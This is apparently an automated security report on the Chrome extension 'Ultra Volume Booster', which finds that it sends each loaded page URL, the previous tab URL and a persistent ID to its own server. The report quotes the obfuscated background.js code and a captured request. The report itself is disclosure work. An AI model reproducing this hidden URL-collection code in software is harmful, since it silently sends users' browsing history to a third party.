Is Ultra Volume Booster safe?

Medium risk

Ultra Volume Booster captures tab audio to amplify volume and sends usage telemetry to Google Analytics on startup and hourly.

The extension uses the tabCapture API to obtain a raw audio stream from the active browser tab, routing it through a Web Audio gain node to boost playback volume. On startup and every 60 minutes, it fires page_view events to Google Analytics (measurement ID G-C1TVPBK3F8), including page_title and page_location, tied to a persistent UUID stored in chrome.storage.local.

Trevis Diazv1.0.6Chrome Web Store
47Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Ultra Volume Booster sends page URLs and tab context to ultravolumebooster.com

MediumunwantedCWE-359Dynamic sandbox

We observed the extension POST the full URL of each page you finish loading, plus the previous tab URL and a persistent ID, to ultravolumebooster.com.

What actually happens

You did this

You finish loading any page in a tab.

The extension did this

The extension POSTs that page URL and tab context to ultravolumebooster.com.

Runs without a user action; repeats are skipped per tab and URL.

Captured request

POSThttps://ultravolumebooster.com/api/config?cachekey=1760000000000

Status 200 on 10 or more requests.

Headers
Content-Type
application/x-www-form-urlencoded
Authorization
Bearer <redacted>
Body
full_url=https%3A%2F%2Fexample.com%2F%3Fcanary%3DBIRD_12345&context=https%3A%2F%2Fwww.amazon.com%2F

The code that does this

Listener and POST that carry the URL and context

Readable version

Same code, names unrecovered

js/background.js
if (Ls.status === "complete" && fK.url) {  const Ls = await mj.TabContext.get(zp),    Ek = `${zp}|${fK.url}|${Ls!==null&&Ls!==void 0?Ls:""}`;  if (BP.get(zp) === Ek) return;  BP.set(zp, Ek);  const jl = await (0, Jd.getCid)();  SI.fetch(fK.url, Ls, jl)}

Same code, names unrecovered

js/background.js
async fetch(zp, Ls, fK) {  const Ek = await this.resolveBase(), jl = new URLSearchParams;  jl.set("cachekey", `${Date.now()}`);  const as = await fetch(`${Ek}?${jl}`, {    method: "POST",    headers: { Authorization: `Bearer ${fK}`, "Content-Type": "application/x-www-form-urlencoded" },    body: new URLSearchParams({ full_url: zp, context: Ls || "" })  });

What the request carries

  • full_url
    https://example.com/?canary=BIRD_12345

    The address of the page you just loaded.

  • context
    https://www.amazon.com/

    The previous or opener tab URL in the navigation chain.

  • Authorization
    Bearer <redacted>

    A persistent client ID that links requests over time.

Where the data goes

    • ultravolumebooster.com

    Receives page URLs and context, and returns a JSON config.

What it can do

Permissions this extension asks for, as declared in version 1.0.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 1.0.6, which we have not unpacked yet.

  • Read and change your data on every site you visit

    <all_urls>

  • Capture the video and audio of a tab

    tabCapture

  • Run its own code inside the pages you visit

    scripting

  • Store data in your browser

    storage

  • Schedule its own background tasks

    alarms

  • Read information about your displays

    system.display

Where it sends data

Destinations our analysis observed Ultra Volume Booster contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.google-analytics.comwidely used

    Ultra Volume Booster sends data to www.google-analytics.com. A widely used service: 388 other extensions we have analyzed send data here.

Updated 2 November 2026bocmpjikpfmhfcjjpkhfdkclpfmceccg